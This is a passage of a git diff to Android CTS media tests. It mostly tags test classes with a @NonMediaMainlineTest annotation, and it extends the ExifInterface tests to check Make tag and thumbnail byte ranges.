--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -21,6 +21,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFormatTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 72e4372..2618c3d 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -60,8 +60,6 @@
 import android.util.Log;
 import android.view.SoundEffectConstants;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.CddTest;
 import com.android.internal.annotations.GuardedBy;
 
@@ -69,6 +67,7 @@
 import java.util.List;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
     private final static String TAG = "AudioManagerTest";
 
@@ -1365,13 +1364,6 @@
         }
     }
 
-    // See b/142395610 - This test isn't flaky but when run in test-mapping it
-    // fails on AOSP branches. There is some kind of state that CtsAppTestCases
-    // leaves the system in that causes this test to fail consistently.
-    // CtsMediaTestCases by itself in test-mapping passes.
-    // Disabling via Flaky to prevent this running and breaking
-    // greenness tracking for Droidcop until we can root-cause the dependency.
-    @FlakyTest
     public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
         final String NOTIFICATION_CHANNEL_ID = "test_id";
         if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
index 8e216e1..0f1ba92b 100644
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
@@ -28,6 +28,7 @@
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioNativeTest extends CtsAndroidTestCase {
     public static final int MAX_CHANNEL_COUNT = 2;
     public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index 7e353ea..5e6f8e4 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -68,6 +68,7 @@
  * Currently the test that some audio was recorded just check that at least one sample is non 0.
  * A better check needs to be used, eg: compare the power spectrum.
  */
+@NonMediaMainlineTest
 public class AudioPlaybackCaptureTest {
     private static final String TAG = "AudioPlaybackCaptureTest";
     private static final int SAMPLE_RATE = 44100;
diff --git a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
index 2e900ad..de36d2b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
@@ -28,6 +28,7 @@
 import java.util.Locale;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioPresentationTest extends CtsAndroidTestCase {
     private String TAG = "AudioPresentationTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6ead39e..5509682 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -46,6 +46,7 @@
 /**
  * Tests for media framework behaviors related to app ops.
  */
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordAppOpTest {
     private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 90a5a3f..6ea560a 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -67,6 +67,7 @@
 import java.util.List;
 
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordTest {
     private final static String TAG = "AudioRecordTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 665bfa1..600bf8c 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -28,6 +28,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecord_BufferSizeTest extends AndroidTestCase {
 
     private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index f5eeaf12..801f29d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -39,6 +39,7 @@
 import java.util.Iterator;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioRecordingConfigurationTest";
 
@@ -221,6 +222,7 @@
         }
     }
 
+    @NonMediaMainlineTest
     public void testParcel() throws Exception {
         if (!hasMicrophone()) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemTest.java b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
index 88ac120..d607d1f 100644
--- a/tests/tests/media/src/android/media/cts/AudioSystemTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
@@ -34,6 +34,7 @@
  * Java applications should use the client facing AudioManager APIs for Audio management.
  */
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 @AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
index 5b89ce0..f3ad83d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
@@ -49,6 +49,7 @@
 // Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
 // is not available.
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
 public class AudioTrackLatencyTest extends CtsAndroidTestCase {
     private String TAG = "AudioTrackLatencyTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index 5d46c3a..b804ac2 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -32,6 +32,7 @@
 import java.io.InputStream;
 import java.util.concurrent.Executor;
 
+@NonMediaMainlineTest
 public class AudioTrackOffloadTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackOffloadTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index df40b8d..91e09c2 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -42,6 +42,7 @@
 // a few seconds of audio. The playback is verified by measuring the output
 // sample rate based on the AudioTimestamps.
 
+@NonMediaMainlineTest
 public class AudioTrackSurroundTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackSurroundTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index fa20770..4ab16ff 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -52,6 +52,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioTrackTest {
     private String TAG = "AudioTrackTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
index 04666f4..89f42b0 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
@@ -31,6 +31,7 @@
 
 import java.util.ArrayList;
 
+@NonMediaMainlineTest
 public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
     private final static String TAG = "AudioTrack_ListenerTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
index 2004cf8..5055a2a 100644
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ b/tests/tests/media/src/android/media/cts/BassBoostTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class BassBoostTest extends PostProcTestBase {
 
     private String TAG = "BassBoostTest";
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index 6abf63d..d0cfde7 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -28,6 +28,7 @@
 import java.util.Arrays;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CamcorderProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CamcorderProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/CameraProfileTest.java b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
index 62228c6..9949c73 100644
--- a/tests/tests/media/src/android/media/cts/CameraProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
@@ -24,6 +24,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CameraProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CameraProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
index 1d84a3e..5872bef 100644
--- a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
+++ b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
@@ -33,6 +33,7 @@
 /**
  * TODO: Insert description here. (generated by pmclean)
  */
+@NonMediaMainlineTest
 public class EnumDevicesTest extends AndroidTestCase {
     private static final String TAG = "EnumDevicesTest";
 
diff --git a/tests/tests/media/src/android/media/cts/EnvReverbTest.java b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
index 14cad71..10d9bb9 100644
--- a/tests/tests/media/src/android/media/cts/EnvReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Fails in instant mode")
 public class EnvReverbTest extends PostProcTestBase {
 
@@ -553,4 +554,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index 7c405a5..38b5889 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class EqualizerTest extends PostProcTestBase {
 
     private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index d25c76a..6bb448f 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -18,6 +18,7 @@
 
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.os.Environment;
 import android.os.FileUtils;
@@ -41,6 +42,7 @@
 import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Instant apps cannot access the SD card")
 public class ExifInterfaceTest extends AndroidTestCase {
     private static final String TAG = ExifInterface.class.getSimpleName();
@@ -109,8 +111,13 @@
         public final float longitude;
         public final float altitude;
 
-        // Values.
+        // Make information
+        public final boolean hasMake;
+        public final int makeOffset;
+        public final int makeLength;
         public final String make;
+
+        // Values.
         public final String model;
         public final float aperture;
         public final String dateTimeOriginal;
@@ -164,8 +171,13 @@
             longitude = typedArray.getFloat(index++, 0f);
             altitude = typedArray.getFloat(index++, 0f);
 
-            // Reads values.
+            // Reads Make information.
+            hasMake = typedArray.getBoolean(index++, false);
+            makeOffset = typedArray.getInt(index++, -1);
+            makeLength = typedArray.getInt(index++, -1);
             make = getString(typedArray, index++);
+
+            // Reads values.
             model = getString(typedArray, index++);
             aperture = typedArray.getFloat(index++, 0f);
             dateTimeOriginal = getString(typedArray, index++);
@@ -274,14 +286,7 @@
                 assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
                 assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
             }
-            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
-            assertNotNull(thumbnailBytes);
-            Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
-            assertNotNull(thumbnailBitmap);
-            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-            assertEquals(expectedValue.isThumbnailCompressed,
-                    exifInterface.isThumbnailCompressed());
+            testThumbnail(expectedValue, exifInterface);
         } else {
             assertNull(exifInterface.getThumbnailRange());
             assertNull(exifInterface.getThumbnail());
@@ -309,6 +314,23 @@
         }
         assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
 
+        // Checks Make information.
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals(expectedValue.hasMake, make != null);
+        if (expectedValue.hasMake) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            if (assertRanges) {
+                final long[] makeRange = exifInterface
+                        .getAttributeRange(ExifInterface.TAG_MAKE);
+                assertEquals(expectedValue.makeOffset, makeRange[0]);
+                assertEquals(expectedValue.makeLength, makeRange[1]);
+            }
+            assertEquals(expectedValue.make, make.trim());
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_MAKE));
+        }
+
         // Checks values.
         assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
         assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
@@ -366,18 +388,18 @@
         // Creates via path.
         ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
         assertNotNull(exifInterface);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
 
         // Creates via file.
         exifInterface = new ExifInterface(imageFile);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
 
         InputStream in = null;
         // Creates via InputStream.
         try {
             in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
             exifInterface = new ExifInterface(in);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
         } finally {
             IoUtils.closeQuietly(in);
         }
@@ -387,7 +409,7 @@
         try {
             fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
             exifInterface = new ExifInterface(fd);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
         } catch (ErrnoException e) {
             throw e.rethrowAsIOException();
         } finally {
@@ -395,6 +417,59 @@
         }
     }
 
+    private void testExifInterfaceRange(String fileName, ExpectedValue expectedValue)
+            throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
+        InputStream in = null;
+        try {
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasThumbnail) {
+                in.skip(expectedValue.thumbnailOffset);
+                byte[] thumbnailBytes = new byte[expectedValue.thumbnailLength];
+                if (in.read(thumbnailBytes) != expectedValue.thumbnailLength) {
+                    throw new IOException("Failed to read the expected thumbnail length");
+                }
+                // TODO: Need a way to check uncompressed thumbnail file
+                if (expectedValue.isThumbnailCompressed) {
+                    Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnailBytes, 0,
+                            thumbnailBytes.length);
+                    assertNotNull(thumbnailBitmap);
+                    assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+                    assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+                }
+            }
+            // TODO: Creating a new input stream is a temporary
+            //  workaround for BufferedInputStream#mark/reset not working properly for
+            //  LG_G4_ISO_800_DNG. Need to investigate cause.
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasMake) {
+                in.skip(expectedValue.makeOffset);
+                byte[] makeBytes = new byte[expectedValue.makeLength];
+                if (in.read(makeBytes) != expectedValue.makeLength) {
+                    throw new IOException("Failed to read the expected make length");
+                }
+                String makeString = new String(makeBytes);
+                // Remove null bytes
+                makeString = makeString.replaceAll("\u0000.*", "");
+                assertEquals(expectedValue.make, makeString.trim());
+            }
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasXmp) {
+                in.skip(expectedValue.xmpOffset);
+                byte[] identifierBytes = new byte[expectedValue.xmpLength];
+                if (in.read(identifierBytes) != expectedValue.xmpLength) {
+                    throw new IOException("Failed to read the expected xmp length");
+                }
+                final String xmpIdentifier = "<?xpacket begin=";
+                assertTrue(new String(identifierBytes, StandardCharsets.UTF_8)
+                        .startsWith(xmpIdentifier));
+            }
+            // TODO: Add code for retrieving raw latitude data using offset and length
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+    }
+
     private void testSaveAttributes_withFileName(String fileName, ExpectedValue expectedValue)
             throws IOException {
         File srcFile = new File(Environment.getExternalStorageDirectory(), fileName);
@@ -410,8 +485,17 @@
         String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
         exifInterface.saveAttributes();
+        // Check if thumbnail offset and length are properly updated without parsing the data again.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
         exifInterface = new ExifInterface(imageFile.getAbsolutePath());
         assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+        // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
+
         // Restore the backup value.
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
         exifInterface.saveAttributes();
@@ -438,9 +522,19 @@
             String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
             exifInterface.saveAttributes();
+            // Check if thumbnail offset and length are properly updated without parsing the data
+            // again.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
             Os.lseek(fd, 0, OsConstants.SEEK_SET);
             exifInterface = new ExifInterface(fd);
             assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+            // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
+
             // Restore the backup value.
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
             exifInterface.saveAttributes();
@@ -463,6 +557,9 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
+
         // Test for saving attributes.
         testSaveAttributes_withFileName(fileName, expectedValue);
         testSaveAttributes_withFileDescriptor(fileName, expectedValue);
@@ -477,8 +574,8 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
-        // Since ExifInterface does not support for saving attributes for RAW files, do not test
-        // about writing back in here.
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
     }
 
     public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
@@ -594,4 +691,16 @@
         FileUtils.copyFileOrThrow(original, cloned);
         return cloned;
     }
+
+    private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
+        byte[] thumbnail = exifInterface.getThumbnailBytes();
+        // TODO: Add support for testing validity of uncompressed thumbnails
+        if (expectedValue.isThumbnailCompressed) {
+            Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
+                    thumbnail.length);
+            assertNotNull(thumbnailBitmap);
+            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
index 4df0475..94e4e37 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
@@ -25,6 +25,7 @@
 import android.media.FaceDetector.Face;
 import android.test.InstrumentationTestCase;
 
+@NonMediaMainlineTest
 public class FaceDetectorTest extends InstrumentationTestCase {
 
     private FaceDetectorStub mActivity;
diff --git a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
index 9dc06ec2..7b50040 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
@@ -27,6 +27,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class FaceDetector_FaceTest extends InstrumentationTestCase {
     private FaceDetectorStub mActivity;
 
diff --git a/tests/tests/media/src/android/media/cts/JetPlayerTest.java b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
index 9d01073..112d5a5 100644
--- a/tests/tests/media/src/android/media/cts/JetPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
@@ -34,6 +34,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+@NonMediaMainlineTest
 public class JetPlayerTest extends AndroidTestCase {
     private OnJetEventListener mOnJetEventListener;
     private boolean mOnJetUserIdUpdateCalled;
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index d57c612..300a593 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -48,6 +48,7 @@
 /**
  * Test media activity which has called {@link Activity#setMediaController}.
  */
+@NonMediaMainlineTest
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class MediaActivityTest {
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index 091151c..e7ef364 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -32,6 +32,7 @@
 /**
  * Test {@link android.service.media.MediaBrowserService}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserServiceTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index c401c75..8c7d63d 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -29,6 +29,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 363928a..d6beefe 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.session.MediaController}.
  */
+@NonMediaMainlineTest
 public class MediaControllerTest extends AndroidTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index dc12b97..53217ca 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -23,6 +23,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser.MediaItem}.
  */
+@NonMediaMainlineTest
 public class MediaItemTest extends AndroidTestCase {
     private static final String DESCRIPTION = "test_description";
     private static final String MEDIA_ID = "test_media_id";
@@ -74,4 +75,4 @@
                 MediaDescription.CREATOR.createFromParcel(p).toString());
         p.recycle();
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index d26587b..c873691 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -631,6 +631,12 @@
         // parsing String location and recover the location information in floats
         // Make sure the tolerance is very small - due to rounding errors.
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longitude.
         int minusIndex = location.lastIndexOf('-');
@@ -640,12 +646,8 @@
                 (minusIndex > 0 || plusIndex > 0));
         int index = Math.max(minusIndex, plusIndex);
 
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
                 Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
index a4ba637..8e15543 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
@@ -46,6 +46,7 @@
  * Executes a range of tests on MediaPlayer while streaming a video
  * from an HTTP server over a simulated "flaky" network.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
     private static final String PKG = "android.media.cts";
diff --git a/tests/tests/media/src/android/media/cts/MediaRandomTest.java b/tests/tests/media/src/android/media/cts/MediaRandomTest.java
index 306b451..30fd364 100644
--- a/tests/tests/media/src/android/media/cts/MediaRandomTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRandomTest.java
@@ -38,6 +38,7 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@NonMediaMainlineTest
 @MediaHeavyPresubmitTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaRandomTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 70d5c20..be33988 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -513,6 +513,12 @@
         // Make sure the tolerance is very small - due to rounding errors?.
         Log.v(TAG, "location: " + location);
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
